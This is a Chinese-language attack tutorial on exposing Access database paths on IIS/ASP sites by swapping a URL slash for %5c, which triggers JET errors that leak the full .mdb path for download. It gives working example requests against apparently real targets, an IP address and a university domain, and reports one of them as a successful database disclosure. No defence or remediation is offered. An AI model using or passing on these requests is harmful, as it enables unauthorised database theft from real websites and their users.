不需 SQL Injection,直接透過特殊請求觸發錯誤訊息,洩露資料庫實體路徑(如 .mdb 完整路徑),進而下載或進一步滲透。比注入更簡單、隱蔽。
%5c = \ 的 URL 編碼(十六進位)\ 轉為 /,但 %5c 不會被 IE 轉換,原樣送至 IIS%5c 還原為 \原始:https://site/yddown/view.asp?id=3
手工輸入 \:https://site/yddown\view.asp?id=3 → IE 自動轉 / → 正常存取
使用 %5c:https://site/yddown%5cview.asp?id=3 → IE 原樣送出 → IIS 解碼為 \
conn.asp 連線資料庫conn.asp 典型寫法:
DBPath = Server.MapPath("admin/rds_dbd32rfd213fg.mdb")
conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath
Server.MapPath 將相對路徑轉為絕對路徑:\ 代表實體目錄分隔,/ 代表虛擬路徑。遇到 \ 認為已到實體根目錄,**停止向上解析**請求:https://219.237.81.46/yddown%5cview.asp?id=3
IIS 解析相對路徑:/yddown\
conn.asp 拼接:/yddown\ + admin/rds_dbd32rfd213fg.mdb
→ 實體路徑:D:\111\admin\rds_dbd32rfd213fg.mdb(錯誤,實際在 D:\111\yddown\admin\...)
→ JET 錯誤 80004005 暴露完整錯誤路徑
流傳「必須換第二個 /」純屬經驗之談。實際規則:最右側第一個可觸發虛擬目錄邊界的 / 換成 %5c 成功率最高。三級目錄站點換第三個 / 同理可行。
https://nice.xmu.edu.cn/channely%5cblog/showlog.asp?cat_id=31&log_id=246 → 失敗
https://nice.xmu.edu.cn/channely/blog%5cshowlog.asp?cat_id=31&log_id=246 → 成功暴庫
→ 驗證 channely 為虛擬目錄指向 H:\channely\,故需在 blog 後插入 %5c
暴庫本質是利用 IIS 解碼與路徑解析差異,配合 ASP 錯誤訊息預設顯示詳細資訊。下篇將深入 conn.asp 直接暴庫手法。